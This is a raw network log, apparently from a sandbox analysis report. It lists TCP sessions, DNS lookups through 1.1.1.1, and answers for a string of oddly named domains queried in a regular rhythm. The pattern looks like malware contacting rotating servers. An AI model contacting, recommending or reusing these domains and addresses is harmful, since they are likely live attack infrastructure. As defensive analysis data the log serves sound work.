Oct 8, 2024 15:27:39.438569069 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:40.363651037 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:40.363848925 CEST	49807	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:40.853364944 CEST	49807	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:40.952831030 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:41.871089935 CEST	49808	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:41.970745087 CEST	80	49808	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:41.970933914 CEST	49808	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:41.976488113 CEST	49808	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:42.076136112 CEST	80	49808	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:42.080481052 CEST	80	49808	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:42.080607891 CEST	80	49808	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:42.080776930 CEST	49808	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:42.082674026 CEST	49808	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:42.086945057 CEST	80	49808	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:42.087126017 CEST	49808	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:42.181960106 CEST	80	49808	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:47.088623047 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:47.194773912 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.194969893 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:47.570602894 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:47.676995039 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901070118 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901103020 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901115894 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901308060 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901340961 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901369095 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901505947 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901619911 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:47.901642084 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901702881 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901729107 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:47.901806116 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:47.901806116 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:47.901806116 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:47.902570009 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:48.007987976 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008055925 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008068085 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008080959 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008116007 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008168936 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008193970 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008205891 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008312941 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008326054 CEST	80	49809	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:48.008491039 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:48.008678913 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:49.085994959 CEST	49809	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.103482962 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.209839106 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.210009098 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.217428923 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.323709965 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531519890 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531603098 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531615973 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531630039 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531727076 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531833887 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.531851053 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531866074 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531877041 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531889915 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.531925917 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.532037020 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.532037973 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.638050079 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638067007 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638092995 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638123035 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638134003 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638145924 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638180017 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.638293982 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.638298035 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638314009 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638338089 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638343096 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:50.638349056 CEST	80	49810	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:50.638483047 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:51.725975990 CEST	49810	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:52.096049070 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:52.096148014 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:52.743532896 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:52.849608898 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:52.849795103 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:52.858252048 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:52.858320951 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:52.964509010 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:52.965111017 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:52.965122938 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:52.965204000 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:52.965346098 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178529978 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178559065 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178668976 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178692102 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178704023 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178738117 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:53.178740025 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178833008 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:53.178883076 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178901911 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:53.178925991 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178937912 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.178949118 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.179092884 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:53.284881115 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285027027 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285043001 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285059929 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285185099 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285238028 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:53.285238981 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285238028 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:53.285269022 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285322905 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285335064 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285348892 CEST	80	49811	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:53.285376072 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:53.285516024 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:54.366063118 CEST	49811	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:55.383537054 CEST	49812	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:55.490560055 CEST	80	49812	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:55.490755081 CEST	49812	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:55.495784044 CEST	49812	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:55.602561951 CEST	80	49812	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:55.739259958 CEST	80	49812	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:55.739590883 CEST	80	49812	66.198.240.15	192.168.11.20
Oct 8, 2024 15:27:55.739744902 CEST	49812	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:55.741475105 CEST	49812	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:27:55.847424030 CEST	80	49812	66.198.240.15	192.168.11.20
Oct 8, 2024 15:28:00.757447004 CEST	49813	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:00.856785059 CEST	80	49813	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:00.856966972 CEST	49813	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:00.865417957 CEST	49813	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:00.964965105 CEST	80	49813	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:00.966198921 CEST	80	49813	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:00.966387033 CEST	49813	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:02.379898071 CEST	49813	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:02.479265928 CEST	80	49813	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:03.397456884 CEST	49814	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:03.496758938 CEST	80	49814	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:03.496985912 CEST	49814	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:03.504424095 CEST	49814	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:03.603694916 CEST	80	49814	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:03.609474897 CEST	80	49814	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:03.609590054 CEST	49814	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:05.019965887 CEST	49814	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:05.119515896 CEST	80	49814	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.037519932 CEST	49815	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:06.137808084 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.137974977 CEST	49815	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:06.145422935 CEST	49815	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:06.145493031 CEST	49815	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:06.245558023 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.245708942 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.245718002 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.246160030 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.246169090 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.246176958 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.246185064 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.247983932 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:06.248229027 CEST	49815	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:07.660012007 CEST	49815	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:07.759967089 CEST	80	49815	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:08.677798033 CEST	49816	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:08.776963949 CEST	80	49816	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:08.777188063 CEST	49816	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:08.782223940 CEST	49816	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:08.881370068 CEST	80	49816	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:08.884637117 CEST	80	49816	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:08.884648085 CEST	80	49816	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:08.884840012 CEST	49816	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:08.886729002 CEST	49816	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:08.892282963 CEST	80	49816	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:08.892384052 CEST	49816	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:28:08.986259937 CEST	80	49816	75.2.103.23	192.168.11.20
Oct 8, 2024 15:28:13.895147085 CEST	49817	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:14.071748018 CEST	80	49817	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:14.071917057 CEST	49817	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:14.079336882 CEST	49817	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:14.255563021 CEST	80	49817	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:14.257078886 CEST	80	49817	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:14.257256031 CEST	49817	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:15.580162048 CEST	49817	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:16.597639084 CEST	49818	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:16.771976948 CEST	80	49818	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:16.772162914 CEST	49818	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:16.779634953 CEST	49818	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:16.954051018 CEST	80	49818	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:16.955704927 CEST	80	49818	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:16.955713987 CEST	80	49818	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:16.955869913 CEST	49818	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:18.282668114 CEST	49818	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:19.300214052 CEST	49819	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:19.476054907 CEST	80	49819	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:19.476257086 CEST	49819	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:19.483825922 CEST	49819	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:19.483850002 CEST	49819	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:19.483927011 CEST	49819	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:19.669776917 CEST	80	49819	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:19.669789076 CEST	80	49819	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:19.670063972 CEST	49819	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:20.985254049 CEST	49819	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:22.002732992 CEST	49820	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:22.177542925 CEST	80	49820	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:22.177685976 CEST	49820	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:22.183327913 CEST	49820	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:22.357871056 CEST	80	49820	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:22.362562895 CEST	80	49820	213.249.67.10	192.168.11.20
Oct 8, 2024 15:28:22.362879038 CEST	49820	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:22.364970922 CEST	49820	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:28:22.539486885 CEST	80	49820	213.249.67.10	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 15:20:19.820059061 CEST	57753	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:20:19.991487980 CEST	53	57753	1.1.1.1	192.168.11.20
Oct 8, 2024 15:20:35.246045113 CEST	49191	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:20:36.036586046 CEST	53	49191	1.1.1.1	192.168.11.20
Oct 8, 2024 15:22:08.366518974 CEST	62539	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:22:08.544955969 CEST	53	62539	1.1.1.1	192.168.11.20
Oct 8, 2024 15:22:21.692033052 CEST	63895	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:22:21.799702883 CEST	53	63895	1.1.1.1	192.168.11.20
Oct 8, 2024 15:22:35.844846964 CEST	64389	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:22:35.954972029 CEST	53	64389	1.1.1.1	192.168.11.20
Oct 8, 2024 15:22:52.028559923 CEST	62416	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:22:52.211510897 CEST	53	62416	1.1.1.1	192.168.11.20
Oct 8, 2024 15:23:05.511527061 CEST	62506	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:23:05.933084965 CEST	53	62506	1.1.1.1	192.168.11.20
Oct 8, 2024 15:23:19.069475889 CEST	65064	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:23:19.244211912 CEST	53	65064	1.1.1.1	192.168.11.20
Oct 8, 2024 15:23:32.738460064 CEST	59004	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:23:32.906064034 CEST	53	59004	1.1.1.1	192.168.11.20
Oct 8, 2024 15:23:46.579076052 CEST	65165	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:23:46.695568085 CEST	53	65165	1.1.1.1	192.168.11.20
Oct 8, 2024 15:24:00.732215881 CEST	64643	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:24:00.853154898 CEST	53	64643	1.1.1.1	192.168.11.20
Oct 8, 2024 15:24:14.151432991 CEST	64326	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:24:15.040766001 CEST	53	64326	1.1.1.1	192.168.11.20
Oct 8, 2024 15:24:28.460484982 CEST	52739	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:24:28.721158028 CEST	53	52739	1.1.1.1	192.168.11.20
Oct 8, 2024 15:24:42.238792896 CEST	51066	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:24:42.377886057 CEST	53	51066	1.1.1.1	192.168.11.20
Oct 8, 2024 15:25:00.547303915 CEST	50803	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:25:00.652039051 CEST	53	50803	1.1.1.1	192.168.11.20
Oct 8, 2024 15:25:13.794397116 CEST	56582	53	192.168.11.20	1.1.1.1
Oct 8, 2024 15:25:13.920103073 CEST	53	56582	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 15:20:19.820059061 CEST	192.168.11.20	1.1.1.1	0x2438	Standard query (0)	www.online-dating28.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:20:35.246045113 CEST	192.168.11.20	1.1.1.1	0xd870	Standard query (0)	www.yun08ps.top	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:08.366518974 CEST	192.168.11.20	1.1.1.1	0x763f	Standard query (0)	www.cptsdisme.info	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:21.692033052 CEST	192.168.11.20	1.1.1.1	0x112b	Standard query (0)	www.uky09q.vip	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:35.844846964 CEST	192.168.11.20	1.1.1.1	0x985	Standard query (0)	www.jcblessings.shop	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:52.028559923 CEST	192.168.11.20	1.1.1.1	0xe7f0	Standard query (0)	www.abuali-contracting.art	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:05.511527061 CEST	192.168.11.20	1.1.1.1	0xa4f8	Standard query (0)	www.webeuz.buzz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:19.069475889 CEST	192.168.11.20	1.1.1.1	0xd925	Standard query (0)	www.onlineblikje.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:32.738460064 CEST	192.168.11.20	1.1.1.1	0x3122	Standard query (0)	www.cotxot.info	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:46.579076052 CEST	192.168.11.20	1.1.1.1	0xdc01	Standard query (0)	www.happyblacksheep.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:00.732215881 CEST	192.168.11.20	1.1.1.1	0x8f26	Standard query (0)	www.airrelax.fun	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:14.151432991 CEST	192.168.11.20	1.1.1.1	0xec08	Standard query (0)	www.bdipjg.asia	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:28.460484982 CEST	192.168.11.20	1.1.1.1	0x38e9	Standard query (0)	www.energy-market.net	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:42.238792896 CEST	192.168.11.20	1.1.1.1	0x559e	Standard query (0)	www.chrisflynn.click	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:25:00.547303915 CEST	192.168.11.20	1.1.1.1	0xa967	Standard query (0)	www.wiretap.digital	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:25:13.794397116 CEST	192.168.11.20	1.1.1.1	0xbc7d	Standard query (0)	www.notepad.mobi	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 15:20:19.991487980 CEST	1.1.1.1	192.168.11.20	0x2438	No error (0)	www.online-dating28.xyz		199.59.243.227	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:20:36.036586046 CEST	1.1.1.1	192.168.11.20	0xd870	No error (0)	www.yun08ps.top		47.238.157.253	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:08.544955969 CEST	1.1.1.1	192.168.11.20	0x763f	No error (0)	www.cptsdisme.info	cptsdisme.info		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:22:08.544955969 CEST	1.1.1.1	192.168.11.20	0x763f	No error (0)	cptsdisme.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:08.544955969 CEST	1.1.1.1	192.168.11.20	0x763f	No error (0)	cptsdisme.info		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:21.799702883 CEST	1.1.1.1	192.168.11.20	0x112b	No error (0)	www.uky09q.vip	uky09q.vip		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:22:21.799702883 CEST	1.1.1.1	192.168.11.20	0x112b	No error (0)	uky09q.vip		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:21.799702883 CEST	1.1.1.1	192.168.11.20	0x112b	No error (0)	uky09q.vip		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:35.954972029 CEST	1.1.1.1	192.168.11.20	0x985	No error (0)	www.jcblessings.shop	jcblessings.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:22:35.954972029 CEST	1.1.1.1	192.168.11.20	0x985	No error (0)	jcblessings.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:35.954972029 CEST	1.1.1.1	192.168.11.20	0x985	No error (0)	jcblessings.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:22:52.211510897 CEST	1.1.1.1	192.168.11.20	0xe7f0	No error (0)	www.abuali-contracting.art	abuali-contracting.art		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:22:52.211510897 CEST	1.1.1.1	192.168.11.20	0xe7f0	No error (0)	abuali-contracting.art		66.198.240.15	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:05.933084965 CEST	1.1.1.1	192.168.11.20	0xa4f8	No error (0)	www.webeuz.buzz		75.2.103.23	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:19.244211912 CEST	1.1.1.1	192.168.11.20	0xd925	No error (0)	www.onlineblikje.online		213.249.67.10	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:32.906064034 CEST	1.1.1.1	192.168.11.20	0x3122	No error (0)	www.cotxot.info		209.74.64.187	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:46.695568085 CEST	1.1.1.1	192.168.11.20	0xdc01	No error (0)	www.happyblacksheep.xyz	happyblacksheep.xyz		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:23:46.695568085 CEST	1.1.1.1	192.168.11.20	0xdc01	No error (0)	happyblacksheep.xyz		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:23:46.695568085 CEST	1.1.1.1	192.168.11.20	0xdc01	No error (0)	happyblacksheep.xyz		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:00.853154898 CEST	1.1.1.1	192.168.11.20	0x8f26	No error (0)	www.airrelax.fun		104.21.73.154	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:00.853154898 CEST	1.1.1.1	192.168.11.20	0x8f26	No error (0)	www.airrelax.fun		172.67.190.152	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:15.040766001 CEST	1.1.1.1	192.168.11.20	0xec08	No error (0)	www.bdipjg.asia		78.141.202.204	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:28.721158028 CEST	1.1.1.1	192.168.11.20	0x38e9	No error (0)	www.energy-market.net		188.94.252.140	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:24:42.377886057 CEST	1.1.1.1	192.168.11.20	0x559e	No error (0)	www.chrisflynn.click		3.131.150.69	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:25:00.652039051 CEST	1.1.1.1	192.168.11.20	0xa967	No error (0)	www.wiretap.digital	wiretap.digital		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:25:00.652039051 CEST	1.1.1.1	192.168.11.20	0xa967	No error (0)	wiretap.digital		3.33.130.190	A (IP address)	IN (0x0001)	false
